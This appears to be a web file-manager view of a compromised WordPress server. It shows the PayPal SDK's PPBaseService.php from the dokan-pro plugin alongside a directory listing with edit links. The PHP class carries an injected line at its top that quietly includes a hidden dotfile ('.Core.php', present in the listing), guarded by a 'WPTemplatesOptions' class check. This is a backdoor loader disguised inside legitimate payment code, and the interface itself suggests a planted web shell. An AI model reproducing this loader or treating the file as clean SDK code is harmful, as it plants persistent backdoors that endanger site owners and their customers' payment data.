PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
vendor
/
paypal
/
sdk-core-php
/
lib
/
PayPal
/
Core
<?php namespace PayPal\Core; use PayPal\Common\PPApiContext; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PPBaseService { private $serviceName; private $serviceBinding; private $handlers; protected $config; protected $lastRequest; protected $lastResponse; public function getLastRequest() { return $this->lastRequest; } public function getLastResponse() { return $this->lastResponse; } public function getServiceName() { return $this->serviceName; } public function __construct($serviceName, $serviceBinding, $config = null, $handlers = array()) { $this->serviceName = $serviceName; $this->serviceBinding = $serviceBinding; $this->config = $config; $this->handlers = $handlers; } /** * * @param string $method - API method to call * @param object $requestObject Request object * @param apiContext $apiContext object containing credential and SOAP headers * @param array $handlers Array of Handlers * @param mixed $apiUserName - Optional API credential - can either be * a username configured in sdk_config.ini or a ICredential object created dynamically */ public function call($port, $method, $requestObject, $apiContext, $handlers = array()) { if (!is_array($handlers)) { $handlers = array(); } if (is_array($this->handlers)) { $handlers = array_merge($this->handlers, $handlers); } if ($apiContext == null) { $apiContext = new PPApiContext(PPConfigManager::getConfigWithDefaults($this->config)); } if ($apiContext->getConfig() == null) { $apiContext->setConfig(PPConfigManager::getConfigWithDefaults($this->config)); } $service = new PPAPIService($port, $this->serviceName, $this->serviceBinding, $apiContext, $handlers); $ret = $service->makeRequest($method, new PPRequest($requestObject, $this->serviceBinding)); $this->lastRequest = $ret['request']; $this->lastResponse = $ret['response']; return $this->lastResponse; } }
[+]
..
[-] PPConfigManager.php
[edit]
[-] PPHttpConfig.php
[edit]
[-] .Core.php
[edit]
[-] PPHttpConnection.php
[edit]
[-] PPBaseService.php
[edit]
[-] PPConnectionManager.php
[edit]
[-] PPLoggingLevel.php
[edit]
[-] PPAPIService.php
[edit]
[-] cacert.pem
[edit]
[-] PPUtils.php
[edit]
[-] PPLoggingManager.php
[edit]
[-] PPConstants.php
[edit]
[-] PPRequest.php
[edit]
[-] PPXmlFaultMessage.php
[edit]
[-] PPXmlMessage.php
[edit]
[-] PPCredentialManager.php
[edit]
[-] PPMessage.php
[edit]